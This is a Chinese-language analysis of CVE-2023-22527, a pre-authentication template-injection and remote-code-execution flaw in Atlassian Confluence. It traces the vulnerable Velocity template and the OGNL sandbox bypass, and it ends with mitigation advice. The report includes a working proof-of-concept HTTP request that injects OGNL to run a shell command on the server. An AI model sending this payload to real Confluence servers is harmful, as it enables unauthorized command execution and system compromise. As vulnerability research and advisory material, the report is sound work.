Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527)
字数 1054 2025-08-18 11:35:32
Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527)分析报告
漏洞概述
Atlassian Confluence是一款企业团队协作和知识管理软件,提供了一个集中化的平台用于创建、组织和共享团队的文档、知识库、项目计划和协作内容。该漏洞允许攻击者在无需登录的情况下构造恶意请求,导致远程代码执行。
影响版本
- 8.5.0 ≤ version ≤ 8.5.3
- 8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x
漏洞原理分析
Velocity模板引擎基础
在Confluence中,.vm文件是使用Velocity模板语言创建的模板文件。Velocity是一个基于Java的模板引擎,允许使用简单的标记语言引用Java对象和方法,动态生成HTML、XML或其他文本格式的内容。
漏洞位置
漏洞位于/template/aui/text-inline.vm文件,可直接通过/template/aui/text-inline.vm访问。
关键漏洞代码:
#set ($labelValue = $stack.findValue("getText('$parameters.label')"))
#if (!$labelValue)
#set ($labelValue = $parameters.label)
#end
$stack.findValue("getText('$parameters.label')")意味着从请求中获取的label参数值传入$stack.findValue,存在模板注入漏洞。
处理流程分析
-
请求处理入口 -
ConfluenceVelocityServlet处理.vm文件请求protected void doRequest(HttpServletRequest request, HttpServletResponse response) { Context context = this.createContext(request, response); this.setContentType(request, response); Template template = this.handleRequest(request, response, context); if (template == null) return; this.mergeTemplate(template, context, response); } -
模板合并过程 -
mergeTemplate方法protected void mergeTemplate(Template template, Context context, HttpServletResponse response) { PageContext pageContext = jspFactory.getPageContext(this, request, response, null, true, 8192, true); ActionContext actionContext = ActionContext.getContext(); actionContext.put("com.opensymphony.xwork2.dispatcher.PageContext", pageContext); Writer writer = pageContext.getOut(); template.merge(context, writer); } -
模板渲染过程 -
merge方法public void merge(Context context, Writer writer, List macroLibraries) { InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context); ica.pushCurrentTemplateName(this.name); ica.setCurrentResource(this); ((SimpleNode)this.data).render(ica, writer); } -
OGNL表达式执行 - 最终通过
OgnlValueStack.findValue()执行传入的OGNL表达式
漏洞利用分析
利用链构造
根据研究,对于Velocity模板引擎可以使用以下方法绕过沙箱:
.KEY_velocity.struts2.context -> (StrutsVelocityContext)
ognl (org.apache.struts2.views.jsp.ui.OgnlTool)
struts (org.apache.struts2.views.velocity.result.VelocityStrutsUtils)
org.apache.struts2.views.jsp.ui.OgnlTool类在没有OgnlContext的情况下调用了Ognl.getValue(),这个"findValue"调用在Struts的沙箱限制之外运行。
POC示例
POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd-Responses-Header',(new freemarker.template.utility.Execute()).exec({"id"}))
修复建议
- 升级到Confluence最新安全版本
- 如果无法立即升级,可考虑以下临时缓解措施:
- 限制对
/template/aui/text-inline.vm的访问 - 实施网络层防护,检测和拦截恶意请求
- 限制对
参考资源
- Bypassing OGNL sandboxes for fun and charities
- Atlassian官方安全公告